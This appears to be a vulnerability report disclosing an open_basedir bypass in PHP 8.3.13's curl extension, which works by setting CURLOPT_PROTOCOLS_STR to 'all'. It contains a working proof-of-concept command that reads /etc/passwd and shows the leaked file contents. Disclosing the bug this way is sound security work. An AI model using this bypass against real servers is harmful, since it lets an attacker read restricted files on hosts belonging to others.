open_basedir bypass using curl extension

[parrot409]

Description

at ext/curl/interface.c there is a check to make sure that the value does not contain the string "file" but it's possible to bypass this by passing "all" since CURL supports this.

$ docker run -ti php@sha256:62a9d2183e1039f4d06d7f1bbfa8de7ccebf04fc4d3d849939648150d1000237 php -d 'open_basedir=/nowhere' -r 'echo phpversion()."\n"; $ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);'
8.3.13
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

PHP Version

PHP 8.3.13

Operating System

Ubuntu 22.04.3